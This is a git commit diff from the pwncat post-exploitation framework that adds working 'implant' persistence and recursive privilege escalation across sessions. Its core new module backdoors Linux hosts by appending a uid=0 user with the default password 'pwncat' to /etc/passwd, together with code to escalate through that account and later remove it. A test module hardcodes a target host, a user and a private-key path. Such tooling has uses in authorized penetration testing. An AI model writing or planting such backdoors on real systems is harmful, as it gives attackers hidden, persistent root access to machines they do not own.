Working implants and multi-session escalation

This commit is contained in:
Caleb Stewart 2021-05-18 20:31:57 -04:00
parent 814c3458a7
commit 3e9a56a409
16 changed files with 487 additions and 48 deletions

View File

@ -7,7 +7,7 @@ set -g privkey "data/pwncat"
# Set the pwncat backdoor user and password
set -g backdoor_user "pwncat"
set -g backdoor_pass "pwncat"
set -g db "memory://"
set -g db "file://db/pwncat"
set -g on_load {
# Run a command upon a stable connection

View File

@ -81,11 +81,18 @@ class Ssh(Channel):
chan = t.open_session()
chan.get_pty()
chan.invoke_shell()
chan.setblocking(0)
self.client = chan
self.address = (host, port)
self._connected = True
@property
def connected(self):
return self._connected
def close(self):
self._connected = False
self.client.close()
def send(self, data: bytes):
@ -119,6 +126,11 @@ class Ssh(Channel):
else:
data = b""
data += self.client.recv(count - len(data))
try:
data += self.client.recv(count - len(data))
if data == b"":
raise ChannelClosed(self)
except socket.timeout:
pass
return data

View File

@ -67,10 +67,21 @@ class Command(CommandDefinition):
PROG = "escalate"
ARGS = {
"command": Parameter(
Complete.CHOICES, metavar="COMMAND", choices=["list", "run"]
Complete.CHOICES,
metavar="COMMAND",
choices=["list", "run"],
help="The action to take (list/run)",
),
"--user,-u": Parameter(
Complete.CHOICES, metavar="USERNAME", choices=get_user_choices
Complete.CHOICES,
metavar="USERNAME",
choices=get_user_choices,
help="The target user for escalation.",
),
"--recursive,-r": Parameter(
Complete.NONE,
action="store_true",
help="Attempt recursive escalation through multiple users",
),
}
@ -93,7 +104,7 @@ class Command(CommandDefinition):
with manager.target.task(
f"escalating to [cyan]{args.user.name}[/cyan]"
) as task:
self.do_escalate(manager, task, args.user)
self.do_escalate(manager, task, args.user, args)
def list_abilities(self, manager, args):
"""This is just a wrapper for `run enumerate types=escalate.*`, but
@ -117,7 +128,7 @@ class Command(CommandDefinition):
elif not found:
console.log("[yellow]warning[/yellow]: no direct escalations found")
def do_escalate(self, manager: "pwncat.manager.Manager", task, user):
def do_escalate(self, manager: "pwncat.manager.Manager", task, user, args):
""" Execute escalations until we find one that works """
attempted = []
@ -154,7 +165,7 @@ class Command(CommandDefinition):
# Attempt escalation directly to the target user if possible
for escalation in (e for e in escalations if e.uid == user.id):
try:
manager.target.update_task(
original_session.update_task(
task, status=f"attempting {escalation.title(manager.target)}"
)
result = escalation.escalate(manager.target)
@ -181,10 +192,16 @@ class Command(CommandDefinition):
except ModuleFailed:
failed.append(e)
if not args.recursive:
manager.target.log(
f"[red]error[/red]: no working direct escalations to {user.name}"
)
return
# Attempt escalation to a different user and recurse
for escalation in (e for e in escalations if e.uid != user.id):
try:
manager.target.update_task(
original_session.update_task(
task, status=f"attempting {escalation.title(manager.target)}"
)
result = escalation.escalate(manager.target)

View File

@ -40,19 +40,27 @@ class Command(CommandDefinition):
if args.list or (not args.kill and args.session_id is None):
table = Table(title="Active Sessions", box=box.MINIMAL_DOUBLE_HEAD)
table.add_column("Active")
table.add_column("ID")
table.add_column("")
table.add_column("User")
table.add_column("Host ID")
table.add_column("Platform")
table.add_column("Type")
table.add_column("Address")
for session in manager.sessions:
for ident, session in enumerate(manager.sessions):
ident = str(ident)
kwargs = {"style": ""}
if session is manager.target:
ident = "*" + ident
kwargs["style"] = "underline"
table.add_row(
str(session == manager.target),
str(session.host),
str(ident),
session.current_user().name,
str(session.hash),
session.platform.name,
str(type(session.platform.channel).__name__),
str(session.platform.channel),
**kwargs,
)
console.print(table)
@ -63,20 +71,17 @@ class Command(CommandDefinition):
console.log("[red]error[/red]: no session id specified")
return
session = None
for s in manager.sessions:
if s.host == args.session_id:
session = s
break
else:
console.log(f"[red]error[/red]: {args.session_id}: no such active session")
return
if args.session_id < 0 or args.session_id >= len(manager.sessions):
console.log(f"[red]error[/red]: {args.session_id}: no such session!")
session = manager.sessions[args.session_id]
if args.kill:
channel = str(session.platform.channel)
session.platform.channel.close()
session.died()
console.log(f"session {session.host} closed")
console.log(f"session-{args.session_id} ({channel}) closed")
return
manager.target = session
console.log(f"targeting session {session.host}")
console.log(f"targeting session-{args.session_id} ({session.platform.channel})")

View File

@ -6,6 +6,7 @@ from pwncat.db import Fact
from persistent.list import PersistentList
from pwncat.facts.ability import *
from pwncat.facts.escalate import *
from pwncat.facts.implant import *
class Group(Fact):

40
pwncat/facts/implant.py Normal file
View File

@ -0,0 +1,40 @@
#!/usr/bin/env python3
import enum
from pwncat.db import Fact
class ImplantType(enum.Flag):
SPAWN = enum.auto()
REPLACE = enum.auto()
REMOTE = enum.auto()
class Implant(Fact):
""" An installed implant """
def __init__(self, source, typ, uid):
types = []
if ImplantType.SPAWN in typ:
types.append("implant.spawn")
if ImplantType.REPLACE in typ:
types.append("implant.replace")
if ImplantType.REMOTE in typ:
types.append("implant.remote")
super().__init__(source=source, types=types)
self.uid = uid
def escalate(self, session: "pwncat.manager.Session"):
"""Escalate to the target user locally. Only valid for spawn or
replace implants."""
raise NotImplementedError()
def trigger(self, target: "pwncat.target.Target"):
"""Trigger this implant for remote connection as the target user.
This is only valid for remote implants."""
def remove(self, session: "pwncat.manager.Session"):
""" Remove this implant from the target """

View File

@ -436,7 +436,7 @@ class Manager:
def print(self, *args, **kwargs):
if self.target is not None:
if self.target is not None and self.target._progress is not None:
self.target._progress.print(*args, **kwargs)
else:
console.print(*args, **kwargs)

View File

@ -0,0 +1,110 @@
#!/usr/bin/env python3
from rich.prompt import Prompt
from pwncat.modules import BaseModule, Argument, Status, Bool, ModuleFailed
from pwncat.facts import Implant
from pwncat.util import console
class Module(BaseModule):
"""Interact with installed implants in an open session. This module
provides the ability to remove implants as well as manually escalate
with a given implant. Implants implementing local escalation will
automatically be picked up by the `escalate` command, however this
module provides an alternative way to trigger escalation manually."""
PLATFORM = None
""" No platform restraints """
ARGUMENTS = {
"remove": Argument(Bool, default=False, help="remove installed implants"),
"escalate": Argument(
Bool, default=False, help="escalate using an installed local implant"
),
}
def run(self, session, remove, escalate):
""" Perform the requested action """
if (not remove and not escalate) or (remove and escalate):
raise ModuleFailed("expected one of escalate or remove")
# Look for matching implants
implants = list(
implant
for implant in session.run("enumerate", types=["implant.*"])
if not escalate
or "implant.replace" in implant.types
or "implant.spawn" in implant.types
)
try:
session._progress.stop()
console.print("Found the following implants:")
for i, implant in enumerate(implants):
console.print(f"{i+1}. {implant.title(session)}")
if remove:
prompt = "Which should we remove (e.g. '1 2 4', default: all)? "
elif escalate:
prompt = "Which should we attempt escalation with (e.g. '1 2 4', default: all)? "
while True:
selections = Prompt.ask(prompt, console=console)
if selections == "":
break
try:
implant_ids = [int(idx.strip()) for idx in selections]
# Filter the implants
implants: List[Implant] = [implants[i - 1] for i in implant_ids]
break
except (IndexError, ValueError):
console.print("[red]error[/red]: invalid selection!")
finally:
session._progress.start()
nremoved = 0
for implant in implants:
if remove:
try:
yield Status(f"removing: {implant.title(session)}")
implant.remove(session)
session.target.facts.remove(implant)
nremoved += 1
except ModuleFailed as exc:
session.log(
f"[red]error[/red]: removal failed: {implant.title(session)}"
)
elif escalate:
try:
yield Status(
f"attempting escalation with: {implant.title(session)}"
)
result = implant.escalate(session)
if "implant.spawn" in implant.types:
# Move to the newly established session
session.manager.target = result
else:
# Track the new shell layer in the current session
session.layers.append(result)
session.log(
f"escalation [green]succeeded[/green] with: {implant.title(session)}"
)
break
except ModuleFailed:
continue
else:
if escalate:
raise ModuleFailed("no working local escalation implants found")
if nremoved:
session.log(f"removed {nremoved} implants from target")
# Save database modifications
session.db.transaction_manager.commit()

View File

@ -22,7 +22,7 @@ def host_type(ident: str):
return ident
class PersistModule(BaseModule):
class ImplantModule(BaseModule):
"""
Base class for all persistence modules.

76
pwncat/modules/implant.py Normal file
View File

@ -0,0 +1,76 @@
#!/usr/bin/env python3
from typing import List
from rich.prompt import Prompt
from pwncat.modules import Bool, Status, Argument, BaseModule, ModuleFailed
from pwncat.util import console
from pwncat.facts import Implant, ImplantType
class ImplantModule(BaseModule):
"""
Base class for all persistence modules.
Persistence modules should inherit from this class, and implement
the ``install``, ``remove``, and ``escalate`` methods. All modules must
take a ``user`` argument. If the module is a "system" module, and
can only be installed as root, then an error should be raised for
any "user" that is not root.
If you need your own arguments to a module, you can define your
arguments like this:
.. code-block:: python
ARGUMENTS = {
**PersistModule.ARGUMENTS,
"your_arg": Argument(str)
}
All arguments **must** be picklable. They are stored in the database
as a SQLAlchemy PickleType containing a dictionary of name-value
pairs.
"""
""" Defines where this implant module is useful (either remote
connection or local escalation or both). This also identifies a
given implant module as applying to "all users" """
ARGUMENTS = {}
""" The default arguments for any persistence module. If other
arguments are specified in sub-classes, these must also be
included to ensure compatibility across persistence modules. """
COLLAPSE_RESULT = True
""" The ``run`` method returns a single scalar value even though
it utilizes a generator to provide status updates. """
def run(self, session: "pwncat.manager.Session", remove, escalate, **kwargs):
"""This method should not be overriden by subclasses. It handles all logic
for installation, escalation, connection, and removal. The standard interface
of this method allows abstract interactions across all persistence modules."""
yield Status(f"installing implant")
implant = self.install(session, **kwargs)
# Register the installed implant as an enumerable fact
session.register_fact(implant)
# Update the database
session.db.transaction_manager.commit()
# Return the implant
return implant
def install(self, **kwargs):
"""
Install the implant on the target host and return a new implant instance.
The implant will be automatically added to the database. Arguments aside
from `remove` and `escalate` are passed directly to the install method.
:param user: the user to install persistence as. In the case of ALL_USERS persistence, this should be ignored.
:type user: str
:param kwargs: Any custom arguments defined in your ``ARGUMENTS`` dictionary.
:raises ModuleFailed: installation failed.
"""
raise NotImplementedError

View File

@ -7,6 +7,8 @@ from pwncat.modules import ModuleFailed
from pwncat.facts.tamper import ReplacedFile
from pwncat.platform.linux import Linux
from pwncat.modules.enumerate import Schedule, EnumerateModule
from pwncat.modules.linux.implant.passwd import PasswdImplant
from pwncat.facts import ImplantType
class AppendPasswd(EscalationReplace):
@ -36,23 +38,22 @@ class AppendPasswd(EscalationReplace):
# Add our password
saved_content = "".join(passwd_contents)
passwd_contents.append(
f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}"""
)
new_line = f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}\n"""
passwd_contents.append(new_line)
try:
# Write the modified password entry back
with self.ability.open(session, "/etc/passwd", "w") as filp:
filp.writelines(passwd_contents)
filp.write("\n")
# Ensure we track the tampered file
session.register_fact(
ReplacedFile(
source=self.source,
uid=0,
path="/etc/passwd",
data=saved_content,
PasswdImplant(
"linux.implant.passwd",
ImplantType.REPLACE,
backdoor_user,
backdoor_pass,
new_line,
)
)
except (FileNotFoundError, PermissionError):

View File

@ -0,0 +1,42 @@
#!/usr/bin/env python3
from pwncat.facts import EscalationSpawn
from pwncat.channel import ChannelError
from pwncat.modules import ModuleFailed
from pwncat.modules.enumerate import Schedule, EnumerateModule
from pwncat.platform.linux import Linux
class TestNewSSHSession(EscalationSpawn):
""" Escalation via SSH as root """
def __init__(self, source):
super().__init__(source=source, source_uid=1000, uid=1001)
def escalate(self, session: "pwncat.manager.Manager") -> "pwncat.manager.Session":
try:
new_session = session.manager.create_session(
"linux",
host="pwncat-ubuntu",
user="john",
identity="/home/caleb/.ssh/id_rsa",
)
except ChannelError as exc:
raise ModuleFailed(str(exc)) from exc
return new_session
def title(self, session):
return "ssh to [cyan]pwncat-ubuntu[cyan] as [blue]john[/blue]"
class Module(EnumerateModule):
""" Test enumeration to provide a EscalationSpawn fact """
PROVIDES = ["escalate.spawn"]
SCHEDULE = Schedule.ONCE
PLATFORM = [Linux]
def enumerate(self, session):
yield TestNewSSHSession(self.name)

View File

@ -66,19 +66,22 @@ class Module(EnumerateModule):
)
facts = []
with proc.stdout as stream:
for path in stream:
# Parse out owner ID and path
original_path = path
path = path.strip().split(" ")
uid, path = int(path[0]), " ".join(path[1:])
try:
with proc.stdout as stream:
for path in stream:
# Parse out owner ID and path
original_path = path
path = path.strip().split(" ")
uid, path = int(path[0]), " ".join(path[1:])
fact = Binary(self.name, path, uid)
yield fact
fact = Binary(self.name, path, uid)
yield fact
yield from (
build_gtfo_ability(
self.name, uid, method, source_uid=None, suid=True
yield from (
build_gtfo_ability(
self.name, uid, method, source_uid=None, suid=True
)
for method in session.platform.gtfo.iter_binary(path)
)
for method in session.platform.gtfo.iter_binary(path)
)
finally:
proc.wait()

View File

View File

@ -0,0 +1,111 @@
#!/usr/bin/env python3
import crypt
from pwncat.facts import Implant, ImplantType
from pwncat.modules.implant import ImplantModule
from pwncat.platform.linux import Linux
from pwncat.modules import ModuleFailed, Argument
class PasswdImplant(Implant):
""" Implant tracker for a user added directly to /etc/passwd """
def __init__(self, source, implant_type, user, password, added_line):
super().__init__(source=source, typ=implant_type, uid=0)
self.user = user
self.password = password
self.added_line = added_line
def escalate(self, session: "pwncat.manager.Session"):
""" Escalate privileges to the fake root account """
try:
session.platform.su(self.user, password=self.password)
return lambda session: session.platform.channel.send(b"exit\n")
except PermissionError:
raise ModuleFailed(f"authentication as {self.user} failed")
def remove(self, session: "pwncat.manager.Session"):
""" Remove the added line """
if session.platform.getuid() != 0:
raise ModuleFailed("removal requires root privileges")
try:
with session.platform.open("/etc/passwd", "r") as filp:
passwd_contents = [line for line in filp if line != self.added_line]
except (FileNotFoundError, PermissionError) as filp:
raise ModuleFailed("failed to read /etc/passwd")
try:
with session.platform.open("/etc/passwd", "w") as filp:
filp.writelines(passwd_contents)
except (FileNotFoundError, PermissionError) as filp:
raise ModuleFailed("failed to write /etc/passwd")
def title(self, session: "pwncat.manager.Session"):
return f"""[blue]{self.user}[/blue]:[red]{self.password}[/red] added to [cyan]/etc/passwd[/cyan] w/ uid=0"""
class Module(ImplantModule):
""" Add a user to /etc/passwd with a known password and UID/GID of 0. """
TYPE = ImplantType.REPLACE
PLATFORM = [Linux]
ARGUMENTS = {
**ImplantModule.ARGUMENTS,
"backdoor_user": Argument(
str, default="pwncat", help="name of new uid=0 user (default: pwncat)"
),
"backdoor_pass": Argument(
str, default="pwncat", help="password for new user (default: pwncat)"
),
"shell": Argument(
str, default="current", help="shell for new user (default: current)"
),
}
def install(
self,
session: "pwncat.manager.Session",
backdoor_user,
backdoor_pass,
shell,
):
""" Add the new user """
if session.current_user().id != 0:
raise ModuleFailed("installation required root privileges")
if shell == "current":
shell = session.platform.getenv("SHELL")
if shell is None:
shell = "/bin/sh"
try:
with session.platform.open("/etc/passwd", "r") as filp:
passwd_contents = list(filp)
except (FileNotFoundError, PermissionError):
raise ModuleFailed("faild to read /etc/passwd")
# Hash the password
backdoor_hash = crypt.crypt(backdoor_pass, crypt.METHOD_SHA512)
# Store the new line we are adding
new_line = f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}\n"""
# Add the new line
passwd_contents.append(new_line)
try:
# Write the new contents
with session.platform.open("/etc/passwd", "w") as filp:
filp.writelines(passwd_contents)
# Return an implant tracker
return PasswdImplant(
self.name, ImplantType.REPLACE, backdoor_user, backdoor_pass, new_line
)
except (FileNotFoundError, PermissionError):
raise ModuleFailed("failed to write /etc/passwd")

View File

@ -45,6 +45,7 @@ class PopenLinux(pwncat.subprocess.Popen):
self.start_delim: bytes = start_delim
self.end_delim: bytes = end_delim
self.code_delim: bytes = code_delim
self.args = args
# Create a reader-pipe
if stdout == pwncat.subprocess.PIPE:
@ -94,6 +95,9 @@ class PopenLinux(pwncat.subprocess.Popen):
if self.stdout_raw is not None:
self.stdout_raw.close()
# Hope they know what they're doing...
self.platform.command_running = None
def poll(self):
if self.returncode is not None:
@ -191,6 +195,7 @@ class PopenLinux(pwncat.subprocess.Popen):
# Kill the process (SIGINT)
self.platform.channel.send(util.CTRL_C * 2)
self.returncode = -1
self.platform.command_running = None
def terminate(self):
@ -200,6 +205,7 @@ class PopenLinux(pwncat.subprocess.Popen):
# Terminate the process (SIGQUIT)
self.platform.channel.send(b"\x1C\x1C")
self.returncode = -1
self.platform.command_running = None
def _receive_returncode(self):
"""All output has been read of the stream, now we read
@ -210,6 +216,9 @@ class PopenLinux(pwncat.subprocess.Popen):
code = code.split(self.code_delim)[0]
code = code.strip().decode("utf-8")
# This command has finished
self.platform.command_running = None
try:
self.returncode = int(code)
except ValueError:
@ -464,6 +473,7 @@ class Linux(Platform):
# Name of this platform. This stored in the database and used
# to match modules to this platform.
self.name = "linux"
self.command_running = None
# This causes an stty to be sent.
# If we aren't in a pty, it doesn't matter.
@ -682,6 +692,9 @@ class Linux(Platform):
"""Retrieve the current user ID"""
try:
# NOTE: this is probably not great... but sometimes it fails when transitioning
# states, and I can't pin down why. The second time normally succeeds, and I've
# never observed it hanging for any significant amount of time.
proc = self.run(["id", "-ru"], capture_output=True, text=True, check=True)
return int(proc.stdout.rstrip("\n"))
except CalledProcessError as exc:
@ -777,6 +790,11 @@ class Linux(Platform):
else:
raise ValueError("expected a command string or list of arguments")
if self.command_running is not None:
raise PlatformError(
f"attempting to run {repr(command)} during execution of {self.command_running.args}!"
)
if shell:
# Ensure this works normally
command = shlex.join(["/bin/sh", "-c", command])
@ -843,7 +861,7 @@ class Linux(Platform):
# Log the command
self.logger.info(command.decode("utf-8"))
return PopenLinux(
popen = PopenLinux(
self,
args,
stdout,
@ -856,6 +874,9 @@ class Linux(Platform):
end_delim.encode("utf-8") + b"\n",
code_delim.encode("utf-8") + b"\n",
)
self.command_running = popen
return popen
def chdir(self, path: Union[str, Path]):
"""